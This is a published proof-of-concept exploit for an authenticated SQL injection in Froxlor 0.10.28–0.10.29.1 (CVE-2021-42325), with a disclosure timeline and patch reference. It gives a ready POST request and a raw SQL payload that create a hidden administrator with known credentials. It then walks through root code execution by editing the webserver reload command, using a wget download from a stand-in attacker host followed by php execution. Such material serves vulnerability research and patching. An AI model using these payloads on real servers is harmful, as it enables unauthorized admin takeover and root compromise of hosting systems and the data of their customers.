# Exploit Title: Froxlor 0.10.29.1 - SQL Injection (Authenticated)
# Exploit Author: Martin Cernac
# Date: 2021-11-05
# Vendor: Froxlor (https://froxlor.org/)
# Software Link: https://froxlor.org/download.php
# Affected Version: 0.10.28, 0.10.29, 0.10.29.1
# Patched Version: 0.10.30
# Category: Web Application
# Tested on: Ubuntu
# CVE: 2021-42325
  
# 1. Technical Description:
#
# Froxlor 0.10.28 and 0.10.29.x are affected by an SQL Injection from the authenticated customer panel. This allows an attacker to escalate privilege by creating a Froxlor administrator account and use it to get Remote Code Execution as root on the target machine.
#
# 1.1 Pre-requisites
#  - Access to a customer account
#  - Ability to specify database name when creating a database
#    - Feature only availible from 0.10.28 onward and must be manually enabled


# 2. Proof Of Concept (PoC):
#
# The following is a walkthrough of privilege escalation from a mere customer to an admin and achieving RCE as root
#
# 2.1 Privilege Escalation
#
# - Sign into Froxlor as a customer
# - View your databases
# - Create a database
# - Put your payload into the "User/Database name" field (if enabled)
# - Application will error out however your SQL query will be executed
#
# The following is a POST request example of running the payload provided, resulting in an administrator account being created
---
POST /froxlor/customer_mysql.php?s=fdbdf63173d0b332ce13a148476499b2 HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 448

s=fdbdf63173d0b332ce13a148476499b2&page=mysqls&action=add&send=send&custom_suffix=%60%3Binsert+into+panel_admins+%28loginname%2Cpassword%2Ccustomers_see_all%2Cdomains_see_all%2Ccaneditphpsettings%2Cchange_serversettings%29+values+%28%27x%27%2C%27%245%24ccd0bcdd9ab970b1%24Hx%2Fa0W8QHwTisNoa1lYCY4s3goJeh.YCQ3hWqH1ZUr8%27%2C1%2C1%2C1%2C1%29%3B--&description=x&mysql_password=asdasdasdasdasdasdwire&mysql_password_suggestion=oyxtjaihgb&sendinfomail=0
---
#
# 2.2 Remote Code Execution
#
# To achieve RCE as root:
#
# - Sign into Froxlor as the newly created admin account (payload example creds are x:a)
# - Go to System Settings
# - Go to Webserver settings
# - Adjust "Webserver reload command" field to a custom command
# - The command must not contain any of the following special characters: ;|&><`$~?
#   - For details, see "safe_exec" function in lib/Froxlor/FileDir.php
#   - For example commands see Payloads 4.2 section
# - Trigger configuration file rebuild
#   - Use menu item "Rebuild config files"
# - Await a root cron job to execute your command


# 3. Vulnerable resources and parameters
# /customer_mysql.php (POST field: custom_suffix)


# 4. Payloads
#
# 4.1 SQL Injection payload
#  The following payload creates a new Froxlor admin with full access to all customers and the server configuration
#  The credentials are:
#   - username: x
#   - password: a
#
# `;insert into panel_admins (loginname,password,customers_see_all,domains_see_all,caneditphpsettings,change_serversettings) values ('x','$5$ccd0bcdd9ab970b1$Hx/a0W8QHwTisNoa1lYCY4s3goJeh.YCQ3hWqH1ZUr8',1,1,1,1);--
#
#
# 4.2 Remote Code Execution payload
#  Two part payload:
#  - wget http://attacker.com/malicious.txt -O /runme.php
#  - php /runme.php


# 5. Timeline
# 2021-10-11 Discovery
# 2021-10-11 Contact with developer
# 2021-10-11 Patch issued but no release rolled out
# 2021-10-12 Reserved CVE-2021-42325
# 2021-11-05 Fix release rolled out
# 2021-11-07 Public disclosure


# 6. References:
# https://github.com/Froxlor/Froxlor/releases/tag/0.10.30